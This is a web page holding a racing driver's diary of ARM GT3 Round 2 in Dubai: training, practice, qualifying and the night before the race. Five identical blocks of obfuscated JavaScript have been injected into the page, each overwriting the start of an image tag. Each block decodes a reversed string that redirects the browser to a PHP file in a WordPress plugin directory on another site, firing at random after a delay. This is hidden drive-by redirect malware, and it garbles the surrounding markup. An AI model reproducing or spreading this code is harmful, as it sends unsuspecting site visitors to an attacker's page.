Harris Irfan. Driver’s Diary. ARM GT3, Round 2

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/mbale/harrisirfan2.jpg” width=”728″ />

“Who put Bella in the witch elm?” reads the graffito on the 18th century obelisk atop this freezing hill in the middle of the English countryside. It’s a few days before National Race Day 2, and I’m stopping to catch my breath mid-training for the GT Championship. It’s time to get pro – I’d always thought my general level of fitness was decent for my age, but NRD1 proved otherwise, and my aim is to get that heart rate down to allow me to focus more clearly on the closing stages of a race.

Perhaps working out in temperatures marginally above freezing is not the ideal preparation for the UAE, but my travel schedule doesn’t allow me to be choosy. Notwithstanding the misspelling of wych elm (google it, the story is fascinating), my view from up here is magnificent – a crisp autumn chill descending over a small corner of rural Worcestershire.Break that spell. Reset the stopwatch. Hit that bridlepath again. There are races to be won.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20GT%202009/rd2/uaetccrd217.jpg” width=”728″ />

And so to day one of the Dubai Motorsport Festival: I’m off the red eye and straight to the Autodrome for scrutineering, practice and qualifying. The car is perfect – I’ve asked Alex for a slightly softer damper setting to enable me to get more traction out of the bumpy uphill right-hander at turn 12, where it’s easy to get out of shape and lose time for the long straight ahead on this, the International Circuit configuration. Practice puts me first in GTB class by a good second, but I know Martin Hope’s Ginetta can do better.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20GT%202009/rd2/uaetccrd246.jpg” width=”728″ />

I come in after my one quick lap so that the lines and rhythm are fresh in my mind for qualifying. The big wing and front splitter are really coming into their own on the high speed kink at turn 13 before the banked left hander – if you keep the faith, you can keep your foot in accelerating past the kink at over 200 kph, before hitting the brakes at around 225 kph turning into the bowl. Don’t bottle it, and don’t come off the line onto the dusty outside of the track, otherwise you will spin and wipe out, as happened to the hapless Nader Zuhour two seasons ago in his Porsche GT3 in the Open Saloon Championship. I call it the Zuhour Kink, sort of a distant relation to Eau Rouge at Spa-Francorchamps.

Qualifying is F1-like in the parity amongst competitors. In GTB class, the top three positions are separated by 0.3 seconds, with first and second separated by a mere 0.03 seconds. It’s Martin who has pole, but I get to sit alongside him on the grid at P2. Jon Simmonds’ gorgeous British racing green Aston Martin Vantage will be one spot behind us and his experience will make this a tough race. As he completes qualifying, I stand watching the pit screen fully suited up in case I need to jump back in the car, but my slender advantage over Simmo remains intact and I breathe a sigh of relief as qualifying ends.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20GT%202009/rd2/uaetccrd28.jpg” width=”728″ />

Alex is having a quiet reflective moment in the pits, conserving energy before the next wave hits tomorrow. A combination of 3am finishes and the pressure of shepherding 6 ARM cars today is starting to show – indeed he is still calling me at 10pm from the workshop to ask if I want any toe changes. Get some sleep, man.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/mbale/harrisirfan1.jpg” width=”728″ />

That night brings troubled dreams as I catch up on lost sleep – snatched visions of extreme aero effects, rorty exhausts bellowing past, a confusing mix of colours, sounds and smells. I’m glad when the night ends. Is this pain or pleasure? I can’t really tell any more, winning is becoming an obsession. Driving me on is the thought that a great season may help me to land that Holy Grail of the privateer racer – a fully-funded drive next season.

Porridge and bananas – the breakfast of champions. Complex carbohydrates will hopefully mean I won’t be bloated for the race in 3 hours and stay sharp throughout. I’m leaving nothing to chance today.